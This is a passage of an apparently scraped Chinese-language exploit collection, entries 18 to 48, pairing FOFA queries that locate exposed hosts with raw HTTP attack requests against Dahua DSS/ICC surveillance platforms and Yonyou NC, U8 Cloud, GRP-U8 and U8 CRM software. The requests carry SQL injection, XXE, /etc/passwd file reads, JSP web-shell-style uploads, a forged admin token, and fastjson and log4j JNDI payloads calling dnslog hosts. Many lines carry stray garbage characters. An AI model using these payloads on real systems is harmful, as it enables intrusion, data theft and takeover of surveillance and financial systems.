User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 t( W6 K+ @3 K9 uConnection: close
2 c/ e  y2 p/ q1 P( v5 YContent-Length: 345
7 J& J$ r- o0 z9 V: BAccept-Encoding: gzip
5 n+ u- a: u8 B) j
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
) S5 i5 B5 r" @; R<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
% V# m& a5 v9 D+ c9 E+ P) d; x      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
8 G: o: x! H+ O  X) J</s11:Envelope>
" q/ V# k3 J8 U: [( Z! b
7 F4 g4 j+ I3 t1 m" Z- }% |: h
( Y* P! j; E$ V  ]/ L3 R18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
4 W9 Y" ]1 y% `/ ^" sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
% p' b- T$ g3 t/ g/ HAccept-Encoding: gzip, deflate
Accept: */*
9 i" F# T) V$ x$ [$ t( uConnection: keep-alive


& A  M4 V* b+ ?8 H2 E2 a
3 m" }; b, O& O. p19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
' E) q& U  f4 }$ }FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
' |# ]2 Y+ D9 w# @) qHost:
# k% A# P  t2 LUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
1 [9 s, i: T' R! ZAccept: */*
# d* `, _' v- g! OConnection: keep-alive

* R9 D+ [% B3 v2 L9 ]: G8 ^
) X$ b0 l' a3 E! h3 B6 C& m20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
, z* T$ `6 z3 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
. |+ y+ Q" s$ }  J6 j4 H' D7 eAccept: */*
  l% e2 L: }) A9 W+ UAccept-Language: en
$ J2 w: m1 s, j, aAccept-Encoding: gzip

) i3 z$ }2 {1 Y2 m* n3 H8 j
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
' ^5 e- O5 q0 T9 u% QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
Content-Type: application/json;charset=utf-8
. Y8 m# m2 I. \4 b* R
{
"a":{
/ F0 R% g* s7 K+ k   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
5 C! Z& O  C# K' j# U1 f& R  }""
$ `. D! L2 L" d4 ^# I+ w4 a}
+ }& t8 `1 C" Z/ V8 p
( X2 o  _" t% I' I6 C1 v% C) _
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
. h+ S9 F& v' I) @8 N$ HFOFA：icon_hash="-1935899595"
POST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
+ R$ L1 W' N2 D$ g6 RHost: your-ip
; ~" o6 n4 N* f$ M" Y$ A/ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
: {' [2 g: ^3 x( AContent-Type: application/json;charset=utf-8

{
"loginName":"${jndi:ldap://dnslog}"
2 Z8 }* K- U3 b7 m+ j$ e' |}
, _/ `5 |1 c1 ]) ~$ D

9 n& z: Q4 p4 s& f8 D, ?$ B
8 |/ [5 H. e3 L* z: c23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
# D6 h7 z' C, UHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' \2 \7 h  n7 V& qContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
) U9 c. W2 V! \, L9 ?' \Connection: close
) s; ~; r7 ?( v) M; M3 J
{
! }, C8 Y! H- I* a! y, q    "a":{
2 m  S, a* \& l. c" ~/ g- `& C        "@type":"com.alibaba.fastjson.JSONObject",
& T; U9 J8 e; m: J0 b0 Y       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
}


24. 用友NC 6.5 accept.jsp任意文件上传
9 ?( M" G: k$ R  p! e5 @FOFA：icon_hash="1085941792"
$ p) A% `# K/ r7 }. Z2 b6 oPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
; F- z' J- h- A+ p- ~User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
/ k' {+ E2 l% z! @( ~1 H) jConnection: close
Content-Length: 449
Accept: */*
' n( m; w: o* O# H0 R  r' d) kAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

! `" _( ?  _; N6 ]' x-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
7 F6 f5 J* ^2 ?/ C7 BContent-Type: text/plain

<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
! _) f1 @$ S& D% X5 S, B& J: x& ?-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
1 _2 Y% b- ?; Y' @0 o* O3 {% uContent-Disposition: form-data; name="fname"
9 T9 Y+ x3 E% X
5 ~7 Q+ [& R* N2 T$ m+ o\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
+ X8 `9 A6 `3 ?-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
. m$ M3 x' s0 [* g+ w
: N* q5 J& q3 z) b2 U# x8 a" f( x' J
25. 用友NC registerServlet JNDI 远程代码执行
" g! }' e9 ~: K" MFOFA：app="用友-UFIDA-NC"
) h! e$ e4 ?, n* j' V1 ]POST /portal/registerServlet HTTP/1.1
/ h8 m* W, c) H7 PHost: your-ip
" l1 g9 M/ o9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
6 e2 H: x. }" @8 i& J0 O8 D" ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded
' G- M6 g% w1 z' G7 n: z$ y# n
type=1&dsname=ldap://dnslog
) R: ~! C0 s( \8 M
$ Q+ n2 Y* }+ x" r6 s: H

26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
& u8 D/ U0 \8 o; F, n/ R* _Accept-Encoding: gzip, deflate
Accept: */*
- M) I( }3 m$ c: P  X3 U% e5 q. A. b; m6 lConnection: keep-alive


  B* N# Y5 N/ O- {7 u; T0 W6 V27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
$ d  z: T$ [; l; E' p  iConnection: close
+ Y  F. ^! o- S3 yContent-Type: text/xml; charset=utf-8
4 m) O3 q. K0 e: ^6 v! l& o( s
- W# P) ]) g, B; ~+ O# s
: {# R. A# }8 U; ~28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
! a! _! `2 o) E2 S. _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
$ c- y3 r& E7 Z0 y/ C4 C6 sConnection: close
* p( ~. \5 ?& S0 P; F! V2 xContent-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
1 |0 @1 g" _7 H" l9 PAccept-Encoding: gzip
- }9 s' ~8 u8 E5 }- E% ]! @7 |. D
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
- R- q( C* e: H3 a7 F7 E
9 }2 e- N0 u/ P* ^9 X/ V) w. z  O% z
" r* {) t" s; U8 a/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
' ~/ j; i% `* Y# Q/ hFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
1 s8 s6 \$ O- L$ K- r5 @GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
6 M1 h' G( `0 j2 aAccept: */*
Connection: keep-alive
$ [( K# I( M. @1 f0 L

. p7 S" [! j! a7 M30. 用友NC importPml SQL注入
5 J% S; O6 U& V- A& FFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
, j! w( H4 _) dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
+ P* m4 {) o5 _% T' {8 aConnection: close

: L7 }( ^- h% W3 @1 p------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
7 d# x: q0 v' iContent-Type: image/jpeg
2 X; Y0 n  |/ ^, ~" ]  x, `  q------WebKitFormBoundaryH970hbttBhoCyj9V--
4 l- {& P' U6 @2 ~" y

31. 用友NC runStateServlet SQL注入
version<=6.5
" b3 d: D& p7 y% R/ UFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
" D" Z( T. A  c* yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
1 T2 |: m4 q7 \' f$ HContent-Type: application/x-www-form-urlencoded
4 z* D6 k( f' ~/ ~/ O! T) w- r

32. 用友NC complainbilldetail SQL注入
  a1 A( x* h) W; @version= NC633、NC65
7 B4 @. [( B' I+ eFOFA：app="用友-UFIDA-NC"
, e, n; h, X( E0 Z& ZGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
% h4 Z+ P& x. T7 T1 X( `5 K8 G5 oHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 p9 X: S) w9 g# |& i. m3 DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
9 Q8 v& s" h) O0 J$ }Accept: */*
Connection: keep-alive

3 T. R: V3 h+ r- `
33. 用友NC downTax/download SQL注入
version：NC6.5FOFA：app="用友-UFIDA-NC"
, I0 b2 R! L7 {& PGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  A' |. E6 g& i# U9 l7 L. Y, YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
' ?, i7 ]0 s; fContent-Type: application/x-www-form-urlencoded
2 z' N" I0 B# K% P6 B2 @Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


$ C$ f/ U$ p" U. V34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
; T' M6 n: {& _9 L8 bGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ x/ ]6 }9 l7 ~( QContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
+ M) G+ d' K& vAccept: */*
9 }" R' k3 g7 AConnection: keep-alive

) Z$ ]' p$ v3 f/ V1 R& k
- _8 V# \3 V: a# m) u( g35. 用友NC-Cloud importhttpscer任意文件上传
: V. W8 {2 {; X& \: @FOFA：app="用友-NC-Cloud"
/ s* K! y) @9 M) bPOST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
1 `. Z$ n: Q, U. gHost: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
; M2 @; ~( ^) d: a% v1 K1 n" NAccept: */*
Connection: close
! Z. D+ O4 M/ E$ W  r0 uaccessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
, X8 U5 G" I/ L' GContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
* e( Z% A- f& e6 v& ^9 E" E; K
--fd28cb44e829ed1c197ec3bc71748df0
$ B/ N( s: ?6 U! Z2 v: FContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

. }* v5 V- N  {7 a0 `5 V
36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
  h* g* s+ Q% r1 H4 _/ WPOST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
$ d3 g( D7 L1 F4 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
  s( f. Z$ ^* yContent-Length: 263
6 {8 X- n7 I( N# F, \5 c" T0 bAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
- s  U" z) v, k: S5 S+ R& [+ ^& QAccept-Encoding: gzip, deflate
6 x4 r8 \+ m& q; j9 U! E6 q- NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
9 ]7 w. R0 x8 O. ]3 ?- e# JContent-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
, R) G0 C# M3 s/ o
  U: M8 H  m1 e6 `* ymsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
& x  k/ p2 N5 s8 X% U2 K* s

37. 用友NC-Cloud IUpdateService XXE
/ I9 c* u) Y  s3 V0 U9 DFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
4 L5 ?, ~4 w( Y- lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
% ?+ T, U8 [) l, YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
* B5 y: P/ I& J+ J6 Y" Y! ~Connection: close
3 l- H4 o. v/ [* A- KContent-Type: text/xml;charset=UTF-8
( j3 o1 Z  H' h8 }) z% rSOAPAction: urn:getResult
  c! _$ D& P5 O, K& J' Q8 v' t+ F6 CUpgrade-Insecure-Requests: 1

" Z- V) S' \9 e/ ~<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
. _( e+ P. I+ y; c. m* H<soapenv:Body>
<iup:getResult>
" d( i2 N. w0 C! T8 x9 y, z<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
5 {" E5 A! k. ^' ?& M9 d<xxx/>]]></iup:string>
9 T( M3 p8 y0 d" r</iup:getResult>
5 Q9 k( g% z& z</soapenv:Body>
</soapenv:Envelope>
9 ?9 F  ]8 y: q" B% \# I: t5 b
; T2 M9 l4 x$ G, N' ~

38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
& F- X% k. Z- kPOST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
% ?6 x9 t  ]; R1 e; Q3 @# P3 nHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
3 W) f$ M1 l- W% D, _Content-Length: 260
5 ], T3 a$ Z7 j( P( C" R3 ?8 ?7 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
0 f9 {3 @8 i  b% D2 {& yAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
4 L' S( R" V2 s( d3 NContent-Type: application/x-www-form-urlencoded
" P- ^6 b; F4 S. j- q( O
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>

; d' z$ `. K3 i* L0 q
39. 用友U8 Cloud RegisterServlet SQL注入
2 h$ D' R2 g+ Y0 oFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
- z+ V& ~2 \* B3 Q" I0 r1 `Accept-Encoding: gzip
3 j1 U7 }: p0 B7 V7 {; I* N
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
+ p, R; u3 }5 c' x$ l# S* jFOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
0 j4 m! j: H  M  hHost: x.x.x.x
/ b1 ~( L2 k+ W2 N2 `6 GUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 z: }( J+ s5 }! ]2 D2 F3 BContent-Type: text/xml
Connection: close
8 H# n+ }# L+ c$ [8 m
<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
! Y6 Q% s5 k5 o2 D5 `
; `* b2 P7 B: ]% v2 `
6 {$ ]% {- r$ ^7 ]41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
2 i9 \, @. _. q, dFOFA：app="用友-U8-Cloud"
GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
$ f7 g3 a9 w4 R" G9 C8 k- r# e- hHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
* E# G0 [; k9 G4 ]5 H

42. 用友GRP-U8 SmartUpload01 文件上传
FOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
: k! c6 q4 e" d) x2 l" H8 yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
' X& }9 J$ ^2 i0 z' E$ ?7 J; EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

( G" P  ]/ y. a3 h9 ]& k# Z, E9 EPAYLOAD

& [* _/ |% J6 u' P" t
, M( t5 l& o3 c/ Ihttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

& A% [; h" r  i- \" E7 z43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
& O; Z  @( j9 B( v" i# xHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
) @' {. c9 p5 \6 K! z+ `! {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 E# `0 f* I0 `) `# J# P4 e) M$ tAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
+ o+ b& D- M6 h9 v# P  ZContent-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
   <soapenv:Header/>
. C. U, G2 O) Y* I# ?4 h4 y6 u   <soapenv:Body>
4 b' }# ~+ C0 j  A& R9 L0 f      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
4 Z% C) E9 Z+ d6 M         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
</soapenv:Envelope>
/ |( G: a9 c+ g
. y' h8 [. T* d9 h2 A$ \
* ]( I( t4 I! @9 p44. 用友GRP-U8 bx_dj_check.jsp SQL注入
$ E- z, i' E: U+ y) JFOFA:app="用友-GRP-U8"
  ]6 Q6 n5 X- m- A% }GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
0 {1 Z6 {7 V% k6 V# R0 P' DHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 }5 `( L2 o: e. Z6 LAccept-Encoding: gzip, deflate
  q+ ~, @9 r( w* _. l; W. g8 MAccept-Language: zh-CN,zh;q=0.9
Connection: close

& x1 K. q5 x! y' a; S1 l9 W/ P7 J
45. 用友GRP-U8 ufgovbank XXE
4 O' A  u2 [3 `! e, IFOFA：app="用友-GRP-U8"
: L* z- x, S, o6 _* Z2 e4 r6 APOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
3 c. r+ ]- S) `; w: l- I6 D- u7 ZConnection: close
Content-Length: 161
# N& A' `0 Q/ e0 SAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 R. ?; [8 w( D, v3 r8 T* |Content-Type: application/x-www-form-urlencoded
( {+ K, ^" Q4 N+ u9 F3 rAccept-Encoding: gzip
* |3 a; g1 I' ?1 P0 ?# v6 c
: m& z: {& Z/ M5 D! ereqData=<?xml version="1.0"?>
# \7 h" g$ w7 T( N- F/ d6 N<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

+ D3 g* z- z" q+ u" O3 x$ G# z9 M
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
, G1 _* B1 @  QConnection: close

$ O) A1 t, ]' c/ @% \! u
/ G" t  L* m9 G47. 用友GRP A++Cloud 政府财务云 任意文件读取
5 m0 ^2 u/ V/ g: P5 |! G# UFOFA：body="/pf/portal/login/css/fonts/style.css"
- Z' D& u7 N% c) h2 NGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
3 w$ x" N6 a# h) w7 ^  P* PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
/ w. R/ h4 n' g5 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' s1 @2 f8 L$ r' f' C6 F, h3 EAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
) v( Y/ @9 k5 Y% h5 k2 cIf-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
2 P  i  h4 c" o& K7 t, u6 lConnection: close

% n( D2 p5 p% J& c% E

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
9 |- E3 r- R: O: y) S' S( a+ w% GHost: your-ip
3 R+ _" f5 ], t- q1 dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
